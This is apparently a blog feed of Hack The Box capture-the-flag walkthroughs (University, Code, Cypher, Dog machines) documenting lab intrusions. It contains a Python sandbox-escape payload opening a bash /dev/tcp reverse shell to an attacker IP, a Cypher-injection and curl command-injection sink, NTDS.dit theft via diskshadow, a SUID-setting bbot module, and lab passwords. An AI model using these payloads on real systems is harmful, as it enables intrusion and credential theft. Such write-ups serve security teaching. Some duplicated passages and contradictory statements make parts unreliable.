SeMachineAccountPrivilege and SeIncreaseWorkingSetPrivilege are disabled by the system, while SeChangeNotifyPrivilege remains enabled.

Let’s transfer the nmap binary to the victim’s machine

The team successfully executed the nmap scan on the victim’s machine

We encountered an error that required us to use the– unprivileged option for successful execution.

Unfortunately, the command still fails to work even after adding the –unprivileged option.

Therefore, at this point, let’s switch to using an alternative scanning tool like rustscan.

Finally, we successfully identified the open ports for the machines:

• 192.168.99.12 has port [22] open.
• 192.168.99.1 has ports [53, 80, 88, 593, 135, 139, 139, 445, 389, 636, 3268, 3269, 5985, 5985] open.
• 192.168.99.2 has ports [135, 139, 139, 445, 5985, 5985] open.

Stowaway usage

Stowaway serves as a multi-hop proxy tool for security researchers and penetration testers.

It allows users to route external traffic through multiple nodes to reach the core internal network, effectively bypassing internal network access restrictions. Creating a tree-like network of nodes simplifies management and access within complex network environments.

The following commands are available to use:

On our machine 
./linux_x64_admin -l 10.10.16.38:2222 -s 111

On victim's machine
shell windows_x64_agent.exe -c 10.10.14.199:2222 -s 111

On our machine 
./linux_x64_admin -l 10.10.16.38:2222 -s 111

On victim's machine
shell windows_x64_agent.exe -c 10.10.14.199:2222 -s 111

Upload the agent onto the victim’s machine.

Run the command I provided earlier.

If the connection is successful, it will appear as shown in the screenshot above.

Therefore, let’s perform port forwarding using the ports we identified earlier.

We can access WS-3 using the credentials obtained earlier.

Access as wao windows

Finally, we successfully gained access.

We also successfully accessed the LAB-2 environment.

The binary we discovered here indicates that we can escalate to root access easily without relying on an exploit.

I presume we have root access inside the Docker container.

Analyze the machine on University machine

Inside the README.txt file, the message reads:

Hello professors,

We have created this note for all users on the domain computers: WS-1, WS-2, and WS-3. These machines have not been updated since 10/29/2023. Since these devices are intended for content evaluation purposes, they must always have the latest security updates. Therefore, it is important to complete the current assessment before moving on to the "WS-4" and "WS-5" computers. The security team plans to begin updating and applying the new security policy early next month.

Kind regards,
Desk Team – Rose Lanosta

Hello professors,

We have created this note for all users on the domain computers: WS-1, WS-2, and WS-3. These machines have not been updated since 10/29/2023. Since these devices are intended for content evaluation purposes, they must always have the latest security updates. Therefore, it is important to complete the current assessment before moving on to the "WS-4" and "WS-5" computers. The security team plans to begin updating and applying the new security policy early next month.

Kind regards,
Desk Team – Rose Lanosta

There’s nothing of interest that I found inside here related to the LAB-2 environment.

Automation-Scripts on University machine

There is an Automation-Scripts directory that could potentially contain malicious code.

There are two PowerShell (.ps1) files we can examine within the Automation-Scripts directory.

Unfortunately, all access attempts were denied.

The date is displayed above.

The Forgotten Campus – Rediscovering the University Web

The login page features a signed certificate.

A Certificate Signing Request (CSR) file is required to proceed further.

Execute the openssl req command.

A CSR file needs to be generated.

Use the following command to sign the CSR and generate the certificate:

openssl x509 -req -in My-CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out My-Certificate.crt -days 365 -sha256

openssl x509 -req -in My-CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out My-Certificate.crt -days 365 -sha256

This command takes the CSR file My-CSR.csr, signs it using the CA’s certificate and key (rootCA.crt and rootCA.key), creates a serial number file if it doesn’t exist (-CAcreateserial), and outputs the signed certificate as My-Certificate.crt valid for 365 days using SHA-256.

Finally, we have provided the george.pem file.

Access as George on dashboard

Use the george.pem file to attempt the login.

Finally, we successfully accessed the system as george.

It will inform you that the signed certificate appears unusual because it is missing. He will then ask you to request a new certificate by uploading the forged professor’s CSR created earlier. Clicking submit triggers the download of a signed document named Professor-Signed-CertificateMy-CSR.csr.

Log out again, then use the signed-cert.pem file to log back in. You should be able to click on “Create a New Course” without encountering any errors.

Create course on dashboard

You can now create a course—just write something, and after creating it, you will find an option at the bottom to add a new lecture.

Lastly, the Course Dashboard is displayed above.

The new course has been created successfully. Check out the Course Dashboard above to explore it.

There are three functions available within course preferences.

Let’s add a new lecture to the course.

Executing the command provided above.

Develop a malicious executable file.

Set up a new folder and upload the malicious file to it.

Generate the passphrase.

The command gpg -u george –detach-sign dark.zip utilizes GPG (GNU Privacy Guard) to generate a detached digital signature for the file dark.zip, ensuring its authenticity and integrity. By specifying the user ID “george” with the -u flag, the command employs George’s private key to create a separate signature file, typically dark.zip.sig, without modifying the original file.

Add a new course here.

The command gpg –export -a “george” > GPG-public-key.asc uses GPG (GNU Privacy Guard) to export the public key associated with the user ID “george” in ASCII-armored format (via the -a flag, making it human-readable text), and redirects the output to a file named GPG-public-key.asc. This file can then be shared for others to import and use for verifying signatures or encrypting messages intended for “george.”

Upload the file to the dashboard.

An error is displayed above stating “Invalid Lecture Integrity.”

Upload the public key here.

Upload the public key successfully

Start the listener in LAB-2.

Access as Martin.T on Lab-2 environment

After a short while, we successfully receive a reverse shell connection.

We successfully gained access to the system as the user martin.t

The user flag has been successfully retrieved.

We can read the user flag by typing type user.txt

Escalate to Root Privilleges Access

Privileges Access

SeChangeNotifyPrivilege is currently enabled, while SeIncreaseWorkingSetPrivilege is disabled in this environment.

Investigate further on University machine

We can retrieve scheduled tasks using the Get-ScheduledTask command.

It has been saved as shown above

There are numerous tasks with the states ‘READY‘ and ‘DISABLED‘.

This system is a virtualized Windows Server 2019 Standard (64-bit) named WS-3, running on an AMD processor under Hyper-V. It has 1.5 GB RAM with limited available memory and is part of the university.htb domain. The server is not using DHCP, with a static IP of 192.168.99.2, and has three security updates installed. The environment runs on Hyper-V virtualization with a UEFI BIOS.

This PowerShell command retrieves all the actions associated with the scheduled task named “Content Evaluator(Professor Simulatorr)” and formats the output as a detailed list showing every property of those actions.

LocalPotato vulnerability

We attempted to execute the LocalPotato exploit, but unfortunately, it failed.

The exploit succeeded when executed using PowerShell

We extracted the system information onto the victim’s machine.

Access as Brose.w privileges

We successfully retrieved the password for the user: v3ryS0l!dP@sswd#X

Let’s access the machine as Brose.W using the credentials we obtained earlier.

All privileges are accessible on this account.

Create a new directory using the appropriate command.

Take advantage of diskshadow

This sequence of PowerShell commands creates a script file named diskshadow.txt for use with the DiskShadow utility, which manages shadow copies (Volume Shadow Copy Service). Each echo command writes a line to the script. The first line sets the shadow copy context to persistent and disables writers to prevent interference. The second line targets the C: volume and assigns it the alias temp. The third line creates the shadow copy, and the last line exposes it as a new drive (Z:) using the alias. This process provides read-only access to a snapshot of the C: drive at a specific point in time. It’s useful for accessing protected or locked files, such as registry hives or system files, without triggering security measures. This technique is often used in system administration and security contexts to safely extract sensitive data from live systems.

The command diskshadow.exe /s c:\zzz\diskshadow.txt runs the DiskShadow utility with a script that creates a persistent shadow copy of the C: drive, assigns it an alias, and exposes it as a new drive for read-only access. This lets users access a snapshot of the drive at a specific time, bypassing file locks and permission restrictions. It’s commonly used in post-exploitation to extract sensitive files like registry hives or credentials without triggering security alerts.

SebackupPrivilege exploit

Identified a website that can potentially be leveraged for privilege escalation.

Upload both files to the victim’s machine.

These commands import modules that enable backup privilege functionality, then use that privilege to copy the sensitive NTDS.dit file—a database containing Active Directory data—from the shadow copy (Z:) to a local directory (C:\dark). This technique allows extraction of critical directory data typically protected by system permissions.

Those files were downloaded to the local machine

Root flag view

We obtained the password hashes for the Administrator account

We can read the root flag by displaying the contents of the type root.txt file.

The post Hack The Box: University Machine Walkthrough – Insane Walkthrough appeared first on Threatninja.net.

Introduction to Code:

In this write-up, we will explore the “Code” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Code” machine from Hack The Box by achieving the following objectives:

User Flag: Exploit a web application’s code execution vulnerability by bypassing restricted keywords through Python class enumeration. Gain a reverse shell as the app-production user and read the user.txt flag from the user’s home directory.

Root Flag: From the app-production shell, access a SQLite database in the /app directory, extract and crack the martin user’s password, and switch to martin. Identify that martin can run a backup script as root. Create a malicious JSON file to include the /root/ directory in a backup, extract it, and read the root.txt flag.

Enumerating the Code Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.62

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.62

nmap -sC -sV -oN nmap_initial.txt 10.10.11.62

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/code]
└──╼ $nmap -sV -sC -oA initial 10.10.11.62 
# Nmap 7.94SVN scan initiated Mon Jul 21 18:11:21 2025 as: nmap -sV -sC -oA initial 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 21 18:12:09 2025 -- 1 IP address (1 host up) scanned in 48.11 seconds

┌─[dark@parrot]─[~/Documents/htb/code]
└──╼ $nmap -sV -sC -oA initial 10.10.11.62 
# Nmap 7.94SVN scan initiated Mon Jul 21 18:11:21 2025 as: nmap -sV -sC -oA initial 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 21 18:12:09 2025 -- 1 IP address (1 host up) scanned in 48.11 seconds

Analysis:

• Port 22 (SSH): Secure Shell service for remote access. It allows administrators to log in and manage the server using encrypted connections securely.
• Port 5000 (HTTP): A web application is running on this port using Gunicorn 20.0.4, a Python-based web server. The site appears to be a Python Code Editor, according to the page title.
  

Web Enumeration:

Exploitation

Web Application Exploration:

The web interface includes a code execution feature.

We are attempting to run the following code. However, before executing it, we need to ensure all prerequisites are met. Once these conditions are satisfied, the code can be executed as intended.

import os
print(os.system("echo Hello, world!"))

import os
print(os.system("echo Hello, world!"))

Results in the following error: “The use of restricted keywords is not permitted.”

Troubleshooting Issues on the Code Machine

To bypass this, enumerate Python classes to access restricted functions:

for i in range(200):
    try:
        cls = ''.__class__.__bases__[0].__subclasses__()[i]
        if hasattr(cls, '__init__') and hasattr(cls.__init__, '__globals__'):
            builtins = cls.__init__.__globals__.get('__buil'+'tins__')
            if builtins and 'ev'+'al' in builtins:
                print(i, str(cls))
    except Exception:
        continue

for i in range(200):
    try:
        cls = ''.__class__.__bases__[0].__subclasses__()[i]
        if hasattr(cls, '__init__') and hasattr(cls.__init__, '__globals__'):
            builtins = cls.__init__.__globals__.get('__buil'+'tins__')
            if builtins and 'ev'+'al' in builtins:
                print(i, str(cls))
    except Exception:
        continue

Python Class Enumeration Output

The following Python classes were identified during enumeration to bypass restricted keywords on the “Code” machine.

Import and Module Classes

# 80 <class '_frozen_importlib._ModuleLock'>
# 81 <class '_frozen_importlib._DummyModuleLock'>
# 82 <class '_frozen_importlib._ModuleLockManager'>
# 83 <class '_frozen_importlib.ModuleSpec'>
# 99 <class '_frozen_importlib_external.FileLoader'>
# 100 <class '_frozen_importlib_external._NamespacePath'>
# 101 <class '_frozen_importlib_external._NamespaceLoader'>
# 103 <class '_frozen_importlib_external.FileFinder'>
# 104 <class 'zipimport.zipimporter'>
# 105 <class 'zipimport._ZipImportResourceReader'>

# 80 <class '_frozen_importlib._ModuleLock'>
# 81 <class '_frozen_importlib._DummyModuleLock'>
# 82 <class '_frozen_importlib._ModuleLockManager'>
# 83 <class '_frozen_importlib.ModuleSpec'>
# 99 <class '_frozen_importlib_external.FileLoader'>
# 100 <class '_frozen_importlib_external._NamespacePath'>
# 101 <class '_frozen_importlib_external._NamespaceLoader'>
# 103 <class '_frozen_importlib_external.FileFinder'>
# 104 <class 'zipimport.zipimporter'>
# 105 <class 'zipimport._ZipImportResourceReader'>

These classes relate to Python’s import and module loading mechanisms.

Codec and OS Classes

# 107 <class 'codecs.IncrementalEncoder'>
# 108 <class 'codecs.IncrementalDecoder'>
# 109 <class 'codecs.StreamReaderWriter'>
# 110 <class 'codecs.StreamRecoder'>
# 132 <class 'os._wrap_close'>

# 107 <class 'codecs.IncrementalEncoder'>
# 108 <class 'codecs.IncrementalDecoder'>
# 109 <class 'codecs.StreamReaderWriter'>
# 110 <class 'codecs.StreamRecoder'>
# 132 <class 'os._wrap_close'>

These involve encoding/decoding and OS operations.

Builtins and Type Classes

# 133 <class '_sitebuiltins.Quitter'>
# 134 <class '_sitebuiltins._Printer'>
# 136 <class 'types.DynamicClassAttribute'>
# 137 <class 'types._GeneratorWrapper'>
# 138 <class 'warnings.WarningMessage'>
# 139 <class 'warnings.catch_warnings'>

# 133 <class '_sitebuiltins.Quitter'>
# 134 <class '_sitebuiltins._Printer'>
# 136 <class 'types.DynamicClassAttribute'>
# 137 <class 'types._GeneratorWrapper'>
# 138 <class 'warnings.WarningMessage'>
# 139 <class 'warnings.catch_warnings'>

This enumeration reveals classes such as Quitter (index 133), which was utilised to execute commands.

Utility and Context Classes

# 166 <class 'reprlib.Repr'>
# 174 <class 'functools.partialmethod'>
# 175 <class 'functools.singledispatchmethod'>
# 176 <class 'functools.cached_property'>
# 178 <class 'contextlib._GeneratorContextManagerBase'>
# 179 <class 'contextlib._BaseExitStack'>

# 166 <class 'reprlib.Repr'>
# 174 <class 'functools.partialmethod'>
# 175 <class 'functools.singledispatchmethod'>
# 176 <class 'functools.cached_property'>
# 178 <class 'contextlib._GeneratorContextManagerBase'>
# 179 <class 'contextlib._BaseExitStack'>

These handle representation and context management.

Regex and Threading Classes

# 185 <class 'sre_parse.State'>
# 186 <class 'sre_parse.SubPattern'>
# 187 <class 'sre_parse.Tokenizer'>
# 188 <class 're.Scanner'>
# 189 <class '__future__._Feature'>
# 192 <class '_weakrefset._IterationGuard'>
# 193 <class '_weakrefset.WeakSet'>
# 194 <class 'threading._RLock'>
# 195 <class 'threading.Condition'>
# 196 <class 'threading.Semaphore'>
# 197 <class 'threading.Event'>
# 198 <class 'threading.Barrier'>
# 199 <class 'threading.Thread'>

# 185 <class 'sre_parse.State'>
# 186 <class 'sre_parse.SubPattern'>
# 187 <class 'sre_parse.Tokenizer'>
# 188 <class 're.Scanner'>
# 189 <class '__future__._Feature'>
# 192 <class '_weakrefset._IterationGuard'>
# 193 <class '_weakrefset.WeakSet'>
# 194 <class 'threading._RLock'>
# 195 <class 'threading.Condition'>
# 196 <class 'threading.Semaphore'>
# 197 <class 'threading.Event'>
# 198 <class 'threading.Barrier'>
# 199 <class 'threading.Thread'>

These support regex parsing and threading.

Executing Commands

Capturing Command Output

Execute the whoami command using the Quitter class, resulting in an output code of 0, indicating successful execution.

Next, capture the whoami output using the subprocess module.

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['whoami'], capture_output=True).stdout.decode()"
    )
)

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['whoami'], capture_output=True).stdout.decode()"
    )
)

The execution of the command produced the output app-production, indicating the current user context under which the process is running.

Establishing a Reverse Shell

To establish a reverse shell:

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['bash','-c','bash -i >& /dev/tcp/10.10.14.116/9007 0>&1'], shell=True)'
    )
)

print(
    ''.__class__.__bases__[0].__subclasses__()[133]
    .__init__.__globals__['__builtins__']['eval'](
        "__import__('subprocess').run(['bash','-c','bash -i >& /dev/tcp/10.10.14.116/9007 0>&1'], shell=True)'
    )
)

The command executed successfully and returned a CompletedProcess object with the arguments [‘bash’, ‘-c’, ‘bash -i >& /dev/tcp/10.10.14.116/9007 0>&1‘] and a return code of 0, indicating unsuccessful execution.

It was time to list the available attributes and methods of the int class.

Utilise subprocess.Popen (located at index 317) to initiate a reverse shell connection:

().__class__.__bases__[0].__subclasses__()[317](
    ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.116/9007 0>&1"]
)

().__class__.__bases__[0].__subclasses__()[317](
    ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.116/9007 0>&1"]
)

Using subprocess.PopenUsing subprocess.Popen

This command initiates a reverse shell connection by spawning a Bash process that connects back to the specified IP address and port.

A response was successfully received from the reverse shell connection.

Once shell access is obtained, proceed to locate and read the user flag.

Escalate to Root Privileges

Privilege Escalation:

Let’s explore the app directory, which includes the folders and files

Within the instance directory, there is a file named database.db.

SQLite3 Database Enumeration on the Code Machine

Therefore, let’s run the command sqlite3 database.db to interact with the database.

The database contains two tables.

We need to extract the stored hashes from the SQLite database using sqlite3.

The screenshot above displays the extracted hashes.

Hashcat Password Cracking Process

It is uncommon to obtain a complete set of cracked hashes as shown here.

Switching to Martin

By using the previously cracked password, we can now authenticate as the user Martin. Consequently, this allows us to gain access with Martin’s privileges and proceed with further actions.

Exploring and Testing the backy.sh Script

When running sudo -l, we discovered the presence of the /usr/bin/backy.sh script.

The backy.sh script streamlines folder backups on Linux. First, it demands a JSON settings file listing folders to back up. However, without a valid file, it halts and shows an error. Moreover, it restricts backups to /var/ or /home/ directories, thus blocking unauthorized paths. Additionally, it sanitizes folder lists to prevent security breaches. Once verified, it triggers the backy tool for the backup. Ultimately, backy.sh ensures safe, controlled backups, thwarting misuse.

Creating a Malicious JSON File on Code Machine

When Martin tries to run the /usr/bin/backy.sh script with sudo, the system immediately responds by showing how to use the script properly—specifically, it requires a file named task.json as input. Therefore, the script won’t run without the correct instructions. This highlights the importance of providing the right parameters when executing commands with elevated privileges, ensuring that the intended actions are performed safely and correctly.

The original /usr/bin/backy.sh file is a script that requires a JSON task file as an argument to run properly. Without this input, it displays a usage message and does not perform any actions.

Our modified version of the script uses dark.json as the input task file to execute specific commands or actions defined within that JSON, allowing us to leverage the script’s functionality with custom instructions.

We successfully obtained the tar.bz2 file, but encountered issues that prevented us from extracting or using it.

Perhaps using the correct task.json file is necessary to properly execute the script and avoid errors.

Our goal should be to directly obtain the file itself for proper use or analysis.

It appears that we have successfully accessed the root/ directory.

The script likely didn’t work earlier because it required a specific input file (task.json) to function correctly, and running it without this file caused it to display the usage instructions instead of executing the intended tasks.

The post Hack The Box: Code Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.

Introduction to Cypher:

In this write-up, we will explore the “Cypher” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Cypher” machine from Hack The Box by achieving the following objectives:

User Flag: Exploit a vulnerable Neo4j database by injecting a Cypher query to extract a password hash, authenticate via SSH, and retrieve the user flag.

Root Flag: Leverage a misconfigured bbot binary with sudo privileges to execute a command that sets the SUID bit on /bin/bash, granting root access to capture the root flag.

Enumerating the Cypher Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.57

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.57

nmap -sC -sV -oA initial 10.10.11.57

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $nmap -sC -sV -oA initial 10.10.11.57
# Nmap 7.94SVN scan initiated Sun Jul 20 11:35:15 2025 as: nmap -sC -sV -oA initial 10.10.11.57
Nmap scan report for 10.10.11.57
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 20 11:50:37 2025 -- 1 IP address (1 host up) scanned in 921.53 seconds
┌─[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $

┌─[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $nmap -sC -sV -oA initial 10.10.11.57
# Nmap 7.94SVN scan initiated Sun Jul 20 11:35:15 2025 as: nmap -sC -sV -oA initial 10.10.11.57
Nmap scan report for 10.10.11.57
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 20 11:50:37 2025 -- 1 IP address (1 host up) scanned in 921.53 seconds
┌─[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $

Analysis:

• 22/tcp (SSH): OpenSSH 8.2p1 running, indicating potential remote access with valid credentials.
• 80/tcp (HTTP): Apache web server, likely hosting a web application for further enumeration.

Web Enumeration:

I performed directory enumeration on the web server using Gobuster

gobuster dir -u http://cypher.htb -w /opt/common.txt

gobuster dir -u http://cypher.htb -w /opt/common.txt

Gobuster Output:

Analysis:

• The web interface revealed a “Try out free demo” button redirecting to /login/.
• The /api/docs directory was inaccessible or empty.
• A .jar file was found in /testing/, which seemed unusual and warranted further investigation.

The website interface looks something as shown above

Inspecting the login page at /login/ revealed a form.

In this example, the application builds a database query by directly inserting the username and password the user enters into the query string. Because the system does not properly check or clean these inputs, an attacker can insert special characters or code that changes the query’s intended behaviour. This lack of input validation creates a Cypher injection vulnerability.

Here’s a simplified version of the vulnerable code:

def verify_creds(username, password):
    cypher = f"""
    MATCH (u:USER) -[:SECRET]-> (h:SHA1)
    WHERE u.name = '{username}' AND u.password = '{password}'
    RETURN h.value AS hash
    """
    results = run_cypher(cypher)
    return results

def verify_creds(username, password):
    cypher = f"""
    MATCH (u:USER) -[:SECRET]-> (h:SHA1)
    WHERE u.name = '{username}' AND u.password = '{password}'
    RETURN h.value AS hash
    """
    results = run_cypher(cypher)
    return results

Here, the username and password Values are inserted directly into the Cypher query string without any validation or escaping. This allows an attacker to inject malicious Cypher code by crafting special input, leading to a Cypher injection vulnerability.

No content found in the /api/docs directory.

A JAR file was located in the /testing/ directory, which appeared suspicious or out of place.

Static Analysis of JAR File Using JADX-GUI on Cypher machine

Examine the JAR file by opening it with jadx-gui.

The Code Walkthrough (Simplified)

The Function Setup

@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)<br>public Stream<StringOutput> getUrlStatusCode(@Name("url") String url)<span style="background-color: initial; font-family: inherit; font-size: inherit; text-align: initial;">

@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)<br>public Stream<StringOutput> getUrlStatusCode(@Name("url") String url)<span style="background-color: initial; font-family: inherit; font-size: inherit; text-align: initial;">

This creates a special function that anyone can call from the database. It’s like putting up a sign that says “Ring this bell and I’ll check any website for you!” The problem is, no security guard is checking who is ringing the bell or what they’re really asking for.

The Weak Security Check

if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
    url = "https://" + url;
}

if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
    url = "https://" + url;
}

The so-called ‘security’ in place is like a bouncer who only checks if you’re wearing shoes before letting you into a club. As long as you have shoes on, you’re allowed in—never mind the fact that you’re holding a crowbar and carrying a bag labeled “STOLEN GOODS.”

The Dangerous Command

String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};

String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};

The real issue arises when the system takes the user-provided URL and passes it straight to the computer as-is, saying, “Execute this exactly as the user entered it.” There’s no validation or filtering, which makes it easy for attackers to sneak in malicious commands.

Exploitation

Web Application Exploration:

Analyse the login page’s packet by intercepting it, which returns an invalid credentials response.

Review the error that occurred after entering a Cypher injection into the username field.

Cypher Injection on Cypher Machine

Cypher injection happens when an application doesn’t properly check what you type into a login form or search box before sending it to the database. Think of it like filling out a form at a bank: instead of just writing your name, you also add a note telling the bank to open the vault. If the bank employee doesn’t read carefully and just follows the instructions, you could get access to things you shouldn’t.

In the same way, attackers can type special commands into a website’s input fields. If the website passes those commands straight to the database without checking, attackers can trick it into revealing private data or even taking control of the system.

Cypher Injection Verification and Exploitation Steps

This query tries to find a user node labeled USER with the name ‘test’ OR 1=1//‘ and then follows the SECRET relationship to get the related SHA1 node. It returns the value property from that SHA1 node as hash. The extra single quote after ‘test‘ likely causes a syntax error, which may be why the injection triggers an error.

Analyze the next step by modifying the payload to avoid syntax errors and bypass filters.

Analyze the network traffic by executing tcpdump.

Start by testing with the ping command to check for command execution.

We received an immediate response, confirming that the command was successfully executed.

Set up a Python HTTP server to test for outbound connections from the target system.

Attempt to fetch a file that doesn’t exist on the target system to observe the error behaviour.

The attempt was successful, confirming that the system executed the command and reached out as expected.

Start a listener on your machine to catch any incoming reverse connections from the target system.

Call the shell.sh file from your machine, and observe that the request hangs, indicating that the payload was likely executed and the reverse shell is in progress.

The shell.sh file was successfully transferred, confirming that the target system was able to fetch and process the file.

We have successfully gained access as the neo4j user on the target system.

Check the neo4j user’s home directory for any configuration files, databases, or credentials that could aid further exploitation.

The neo4j directory does not contain any files of interest.

A password was found in the .bash_history file.

Start the Neo4j service by using the cypher-shell command.

We successfully retrieved the hashes.

Access attempt as graphasm failed.

However, access is graphasm succeeded through the SSH or pwncat-cs service.

We successfully obtained the user flag.

Escalate to Root Privileges Access

Privilege Escalation:

The sudo -l command reveals the presence of the bbot binary with elevated privileges.

Executing sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run returns the root flag.

The bbot_present.yaml file contains important configuration details. It specifies the target as ecorp.htb and sets the output directory to /home/graphasm/bbot_scans. Under the configuration section, the Neo4j module is configured with the username neo4j and the password cU4btyib.20xtCMCXkBmerhK.

The dark.yml file specifies the module_dirs configuration with a directory path set to ["/home/graphasm"]. This indicates where the system will look for custom modules to load.

In the dark.py script, which imports BaseModule from bbot.modules.base, there is a class named dark that runs the command chmod +s /bin/bash through os.system(). This command changes the permissions of /bin/bash to set the setuid bit, allowing anyone to execute the shell with root privileges, posing a serious security risk.

First, check if /bin/bash has the SUID bit set. Look for an s in the user’s execute position (e.g., -rwsr-xr-x); this indicates it’s a SUID binary. If you don’t see it, the setuid bit isn’t set.

Execute the command to run bbot with the specified configuration and module

This runs the dark module using the settings from /home/graphasm/dark.yml, forcing execution with the --force flag.

Another way to gain root access is by executing the reverse shell with root privileges.

We have successfully received a reverse shell connection back to our machine.

The post Hack The Box: Cypher Machine Walkthrough – Medium Difficultyy appeared first on Threatninja.net.

Introduction to Dog:

In this write-up, we’ll go step-by-step through the Dog machine from Hack The Box, rated Easy difficulty. The box involves exploring a Linux environment with a Backdrop CMS web application. The path includes abusing an exposed Git repository, exploiting a CMS vulnerability, and escalating privileges to capture both the user and root flags.

Objective on Dog Machine

The primary objective is to complete the Dog machine by accomplishing the following tasks:

• User Flag: Obtain initial access to the Backdrop CMS by leveraging credentials (username: tiffany, password: BackDropJ2024DS2024) exposed in the settings.php file within the publicly accessible .git repository. Exploit an authenticated remote command execution vulnerability (EDB-ID: 52021) in Backdrop CMS version 1.27.1 by uploading a malicious module containing a PHP web shell, achieving a reverse shell as the www-data user. Transition to the johncusack user by reusing the exposed password and retrieving the user flag
• Root Flag: Escalate privileges by exploiting the misconfigured /usr/local/bin/bee binary, which allows the johncusack user to run commands as root via sudo. Use the bee binary’s eval parameter to execute a privileged command, such as sudo /usr/local/bin/bee –root=/var/www/html eval “system(‘cat /root/root.txt’);”, to read the root flag and achieve full system compromise.

Reconnaissance and Enumeration on Dog Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Dog machine was 10.10.11.58.

Initial Scanning

